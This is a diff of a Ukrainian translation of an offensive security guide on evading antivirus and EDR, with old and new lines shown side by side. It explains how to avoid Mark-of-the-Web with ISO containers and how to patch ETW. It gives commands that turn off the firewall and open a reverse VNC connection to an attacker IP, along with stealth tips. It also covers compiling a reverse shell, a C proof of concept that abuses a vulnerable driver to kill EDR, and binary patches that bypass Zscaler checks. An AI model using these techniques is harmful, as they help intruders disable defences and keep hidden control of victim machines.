- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого коду форку [LLVM](http://www.llvm.org/) компіляційного набору, здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) та захист від підробки.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації обфусцированого коду під час компіляції без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
- [**obfy**](https://github.com/fritzone/obfy): Додає шар обфусцированих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблерного коду, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального контролю потоку.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt - це .NET PE Crypter, написаний на Nim.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтоване на повернення). ROPfuscator обфускує програму на рівні асемблера, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального потоку управління.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt - це .NET PE Crypter, написаний на Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх
## SmartScreen & MoTW
@ -249,20 +283,20 @@ Microsoft Defender SmartScreen - це механізм безпеки, приз
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми викликають SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми активують SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
**MoTW** (Mark of The Web) - це [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.
**MoTW** (Мітка вебу) - це [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) з назвою Zone.Identifier, яка автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Перевірка Zone.Identifier ADS для файлу, завантаженого з Інтернету.</p></figcaption></figure>
> [!TIP]
> Важливо зазначити, що виконувані файли, підписані **достовірним** сертифікатом підпису, **не викликають SmartScreen**.
> Важливо зазначити, що виконувані файли, підписані **достовірним** сертифікатом підпису, **не активують SmartScreen**.
Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) **не може** бути застосовано до **не NTFS** томів.
Дуже ефективний спосіб запобігти отриманню вашими корисними навантаженнями Мітки вебу - це упаковка їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Мітка вебу (MOTW) **не може** бути застосована до **не NTFS** томів.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) - це інструмент, який упаковує корисні навантаження в вихідні контейнери, щоб уникнути Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) - це інструмент, який упаковує корисні навантаження в вихідні контейнери, щоб уникнути Мітки вебу.
Приклад використання:
```bash
@ -294,7 +328,7 @@ Adding file: /TotallyLegitApp.exe
Event Tracing for Windows (ETW) — це потужний механізм ведення журналів у Windows, який дозволяє додаткам і системним компонентам **реєструвати події**. Однак його також можуть використовувати засоби безпеки для моніторингу та виявлення шкідливої діяльності.
Подібно до того, як AMSI вимкнено (обійдено), також можливо змусити функцію **`EtwEventWrite`** процесу користувацького простору повертати результат негайно, не реєструючи жодних подій. Це досягається шляхом патчування функції в пам'яті, щоб вона повертала результат негайно, ефективно вимикаючи ведення журналів ETW для цього процесу.
Подібно до того, як AMSI вимкнено (обійдено), також можливо змусити функцію **`EtwEventWrite`** процесу користувацького простору повертатися негайно без реєстрації будь-яких подій. Це досягається шляхом патчування функції в пам'яті, щоб вона поверталася негайно, ефективно вимикаючи ведення журналу ETW для цього процесу.
Ви можете знайти більше інформації на **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) та [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
@ -302,19 +336,19 @@ Event Tracing for Windows (ETW) — це потужний механізм ве
Завантаження C# бінарних файлів у пам'ять відомо вже досить давно, і це все ще дуже хороший спосіб запуску ваших інструментів після експлуатації без ризику бути спійманим AV.
Оскільки payload буде завантажено безпосередньо в пам'ять без доступу до диска, нам потрібно буде турбуватися лише про патчування AMSI для всього процесу.
Оскільки payload буде завантажено безпосередньо в пам'ять без взаємодії з диском, нам потрібно буде турбуватися лише про патчування AMSI для всього процесу.
Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже надають можливість виконувати C# збірки безпосередньо в пам'яті, але існують різні способи зробити це:
- **Fork\&Run**
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а потім, після завершення, завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність**, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність**, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Це про ін'єкцію шкідливого коду після експлуатації **в його власний процес**. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є **набагато більша ймовірність** **втратити ваш beacon**, оскільки він може зламатися.
Це про ін'єкцію шкідливого коду після експлуатації **в його власний процес**. Таким чином, ви можете уникнути створення нового процесу та сканування його AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є **набагато більша ймовірність** **втратити ваш beacon**, оскільки він може зламатися.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -329,11 +363,11 @@ Event Tracing for Windows (ETW) — це потужний механізм ве
Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете **виконувати довільний код на цих мовах в пам'яті** скомпрометованої машини.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування з випадковими не обфусцированими реверс-шейл-скриптами на цих мовах виявилося успішним.
Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо **більшу гнучкість для обходу статичних підписів**. Тестування з випадковими не обфусцированими реверс-shell скриптами на цих мовах виявилося успішним.
## TokenStomping
Token stomping — це техніка, яка дозволяє зловмиснику **маніпулювати токеном доступу або засобом безпеки, таким як EDR або AV**, дозволяючи зменшити його привілеї, щоб процес не завершився, але не мав дозволів на перевірку шкідливої діяльності.
Token stomping — це техніка, яка дозволяє зловмиснику **маніпулювати токеном доступу або засобом безпеки, таким як EDR або AV**, дозволяючи зменшити його привілеї, щоб процес не зупинився, але не мав прав для перевірки на шкідливу діяльність.
Щоб запобігти цьому, Windows може **заборонити зовнішнім процесам** отримувати дескриптори токенів безпеки.
@ -405,12 +439,12 @@ netsh advfirewall set allprofiles state off
#### **Зворотне з'єднання**
**Атакуючий** повинен **виконати всередині** свого **хоста** бінарний файл `vncviewer.exe -listen 5900`, щоб він був **готовий** прийняти зворотне **VNC з'єднання**. Потім, всередині **жертви**: Запустіть демон winvnc `winvnc.exe -run` і виконайте `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**Атакуючий** повинен **виконати всередині** свого **хоста** бінарний файл `vncviewer.exe -listen 5900`, щоб він був **підготовлений** для прийому зворотного **VNC з'єднання**. Потім, всередині **жертви**: Запустіть демон winvnc `winvnc.exe -run` і виконайте `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**ПОПЕРЕДЖЕННЯ:** Щоб зберегти прихованість, ви не повинні робити кілька речей
- Не запускайте `winvnc`, якщо він вже працює, або ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи працює він за допомогою `tasklist | findstr winvnc`
- Не запускайте `winvnc` без `UltraVNC.ini` в тому ж каталозі, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc` без `UltraVNC.ini` в тій же директорії, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
- Не запускайте `winvnc -h` для отримання допомоги, або ви викличете [вікно сповіщення](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -439,7 +473,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Поточний захисник дуже швидко завершить процес.**
### Компіляція власного реверс-шелу
### Компіляція нашого власного реверс-шелу
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
@ -449,7 +483,7 @@ https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
Використовуйте його з:
Використовуйте це з:
```
back.exe <ATTACKER_IP> <PORT>
```
@ -609,7 +643,7 @@ sc start ServiceMouse
| `0x990000D0` | Видалити довільний файл на диску |
| `0x990001D0` | Вивантажити драйвер і видалити службу |
Мінімальний C proof-of-concept:
Мінімальний C доказ концепції:
```c
#include <windows.h>
@ -621,7 +655,7 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Чому це працює**: BYOVD повністю обходить захисти режиму користувача; код, що виконується в ядрі, може відкривати *захищені* процеси, завершувати їх або втручатися в об'єкти ядра незалежно від PPL/PP, ELAM або інших функцій захисту.
4. **Чому це працює**: BYOVD повністю обходить захисти режиму користувача; код, що виконується в ядрі, може відкривати *захищені* процеси, завершувати їх або втручатися в об'єкти ядра незалежно від PPL/PP, ELAM або інших функцій зміцнення.
Виявлення / Пом'якшення
• Увімкніть список блокування вразливих драйверів Microsoft (`HVCI`, `Smart App Control`), щоб Windows відмовився завантажувати `AToolsKrnl64.sys`.
@ -640,7 +674,7 @@ return 0;
| Бінарний файл | Оригінальна логіка, що була патчена | Результат |
|---------------|--------------------------------------|-----------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Завжди повертає `1`, тому кожна перевірка є відповідною |
| `ZSAService.exe` | Непрямий виклик `WinVerifyTrust` | NOP-ed ⇒ будь-який (навіть непідписаний) процес може підключитися до RPC труб |
| `ZSAService.exe` | Непрямий виклик до `WinVerifyTrust` | NOP-ed ⇒ будь-який (навіть непідписаний) процес може підключитися до RPC труб |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Замінено на `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Перевірки цілісності тунелю | Скорочено |
@ -668,7 +702,8 @@ f.write(replacement)
## Посилання
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
- [Check Point Research Before ToolShell: Exploring Storm-2603s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
{{#include ../banners/hacktricks-training.md}}